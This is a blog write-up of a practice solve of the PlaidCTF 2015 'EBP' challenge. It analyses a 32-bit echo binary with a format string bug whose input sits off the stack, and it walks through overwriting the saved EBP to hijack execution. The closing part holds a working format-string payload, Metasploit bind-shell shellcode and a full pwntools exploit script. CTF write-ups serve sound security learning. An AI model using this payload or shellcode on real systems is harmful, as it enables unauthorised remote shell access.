Saturday, June 6, 2015

PlaidCTF CTF 2015 "EBP" - practice session write-up

This is another practice session write-up (disclaimer).
Today's challenge is called "EBP" and is from PlaidCTF CTF 2015.

You can download the ELF here.


Let's try the usual stuff first to see what we are dealing with...

# file ebp_a96f7231ab81e1b0d7fe24d660def25a.elf 
ebp_a96f7231ab81e1b0d7fe24d660def25a.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf994804ecd68699809b56d85dbba1038de9f74b0, not stripped

# /opt/checksec.sh --file ebp_a96f7231ab81e1b0d7fe24d660def25a.elf 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   ebp_a96f7231ab81e1b0d7fe24d660def25a.elf

# strings ebp_a96f7231ab81e1b0d7fe24d660def25a.elf 
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
fflush
puts
stdin
fgets
stdout
__libc_start_main
snprintf
__gmon_start__
GLIBC_2.0
PTRh
QVhG
[^_]
;*2$"

Nothing special - the binary seems to be dynamically linked and was not stripped (which makes things easier). Also, it seems to have no stack protection - which could be a clue to what we are supposed to do.

Running the app, we don't see anything (no messages). After typing away aimlessly (and pressing enter) we see that the input is served back to us. This is obviously an echo app. It reminded me of the last writeup I did on babyecho, so I tried a few format strings to see if this was the same ... and sure enough it was (or at least looked like it was).

# python -c 'print "%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x"' | ./ebp_a96f7231ab81e1b0d7fe24d660def25a.elf 
b7684ada b7784440 0804a080 bfe10a48 0804852c 00000001 00000000 0804a080 b7783ff4 00000000 00000000 bfe10a68 08048557 0804a080 00000400 b7784440 b7783ff4

Obviously, we have some leakage! At that point I was thinking this was yet another format string where I just needed to learn the offset of the format string on the stack and get out my magic formula for writing any value to any location (like I did in this writeup). Let's fire up EDB and have a look!

Since the app is not stripped and dynamically built, we can easily get to the snprintf function since it is the most likely candidate for the format string vulnerability (looking at strings output, we see that snprintf is used). The call to snprintf is located at 0x0804851A, so this is a good place to put a breakpoint. After entering a bunch of A's, we get the following stack layout:

bfef:9b20|0804a480|....|
bfef:9b24|00000400|....|
bfef:9b28|0804a080|....|ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
bfef:9b2c|b7606ada|.j`.|return to b7606ada
bfef:9b30|b7706440|@dp.|
bfef:9b34|0804a080|....|ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
bfef:9b38|bfef9b58|X...|
bfef:9b3c|0804852c|,...|return to 0804852c       
bfef:9b40|00000001|....|
bfef:9b44|00000000|....|
bfef:9b48|0804a080|....|ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
bfef:9b4c|b7705ff4|._p.|
bfef:9b50|00000000|....|
bfef:9b54|00000000|....|
bfef:9b58|bfef9b78|x...|
bfef:9b5c|08048557|W...|return to 08048557
bfef:9b60|0804a080|....|ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
bfef:9b64|00000400|....|
bfef:9b68|b7706440|@dp.|
bfef:9b6c|b7705ff4|._p.|
bfef:9b70|08048580|....|
bfef:9b74|00000000|....|
bfef:9b78|bfef9bf8|....|
bfef:9b7c|b75bce46|F.[.|return to b75bce46
bfef:9b80|00000001|....|
bfef:9b84|bfef9c24|$...|
bfef:9b88|bfef9c2c|,...|
bfef:9b8c|b7725860|`Xr.|
bfef:9b90|b773e821|!.s.|return to b773e821
bfef:9b94|ffffffff|....|
bfef:9b98|b7746ff4|.ot.|
bfef:9b9c|080482b1|....|ASCII "__libc_start_main"
bfef:9ba0|00000001|....|
bfef:9ba4|bfef9be0|....|
bfef:9ba8|b7737c16|.|s.|return to b7737c16

So.. the location 0x0804a080 seems to be very popular. That's actually the location of the buffer holding our input. Hmm... wait a second - out input is not on the stack!!1! The tricks I used in the last writeup won't help since they require the input to be on the stack.

What does that mean? It means that we can only write to locations that are directly referenced on the stack! Our end goal should be to overwrite one of the return addresses on the stack with the location of our buffer (which is on the heap). But to achieve that, the address of the return address on stack has to be on the stack. For example, if we wanted to overwrite the return address 0xb75bce46 which is at 0xbfef9b7c - the address 0xbfef9b7c would have to be on the stack! Looking at the stack, we got no such luck as it seams the reference to the return address is nowhere to be found (if you think about it, that makes sense!).

Conclusion - our format string input is on the heap (no the stack), so we need to find another way to write to a memory location. At this point I started searching Google for heap based format strings and came across this paper. It explains a method of overwriting EBP and forcing it to direct the application flow to an attacker controlled space. To quote the paper: A generic way of controlling the execution flow is to overwrite the saved instruction pointer on the stack, so that an address is getting executed on a ret command that was chosen by an attacker.

Obviously, we need to take a look at the function calls in the application to determine the values on each function's stack frame. After a bit of reverse engineering... we get an idea how the app looks like:
int main()
{
  int result;

  while(1)
  {
    result = (int) fgets(buf, 1024, stdin);
    if ( !result )
      break;
    echo();
  }
  return result;
}

int echo()
{
  make_response();
  puts(response);
  return fflush(stdout);
}

int make_response()
{
  return snprintf(response, 0x400u, buf);
} 

Luckily, the app is very small so it's easy to see the function call looks like this: main -> echo -> make_response -> snprintf.

If you look at Fig 2 from the article I mentioned, it gives an example of such a situation. From the stack layout shown bellow and what we now about the function calls, we can map the various parts of the stack.

bfef:9b2c|b7606ada|.j`.|return to b7606ada           %1$x
bfef:9b30|b7706440|@dp.|                             %2$x  
bfef:9b34|0804a080|....|ASCII "AAAAAAAAAAAAAAAAA\n"  %3$x
bfef:9b38|bfef9b58|X...|                             %4$x  (EBP)
bfef:9b3c|0804852c|,...|return to 0804852c           %5$x  (return to echo)
bfef:9b40|00000001|....|                             %6$x
bfef:9b44|00000000|....|                             %7$x
bfef:9b48|0804a080|....|ASCII "AAAAAAAAAAAAAAAAA\n"  %8$x
bfef:9b4c|b7705ff4|._p.|                             %9$x
bfef:9b50|00000000|....|                             %10$x
bfef:9b54|00000000|....|                             %11$x
bfef:9b58|bfef9b78|x...|                             %12$x (EBP)
bfef:9b5c|08048557|W...|return to 08048557           %13$x (return to main)
bfef:9b60|0804a080|....|ASCII "AAAAAAAAAAAAAAAAA\n"  %14$x 

We see that at offset %4$x in the stack is where the EBP is stored, which points at the stack frame of the main method. By accessing %4$x we can write to the main methods EBP and write whatever value we want.With a bit of trial and error, I came to this value which successfully overwrites main's EBP with 0x0804a090.

AAAA%134520972u%4$nABCDEFGHIJKLMNOPRSTUVXZYAAAAAAAAAAAAAAAAAAAAAAAA
This set's the EIP value to the address 0x45444342, which corresponds to the string BCDE we appended in the above payload. We can now control the EIP!
With a few minor adaptations, the above string can be changed to point to our shellcode.

"AAAA" + "%134520972u%4$n" + "A"+ "\xa0" + "\xa0"+ "\x04" +"\x08" +"\x90"*30 + shellcode

Before putting it all together, I chose a classic shellcode to go with the payload, the shell_bind_tcp from Metasploit.
# msfpayload linux/x86/shell_bind_tcp C

unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

This is the final exploit script written in python using pwn library. Once the exploit is done, one can easily connect to the target via the NetCat tool on port 4444, and gain shell access.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

conn = remote("localhost", 6667)

payload = "AAAA" + "%134520972u%4$n" + "A"+ "\xa0" + "\xa0"+ "\x04" +"\x08" +"\x90"*30 + shellcode

log.info("Sending payload")
conn.sendline(payload)

msg = conn.recv()
print msg

conn.close()


No comments:

Post a Comment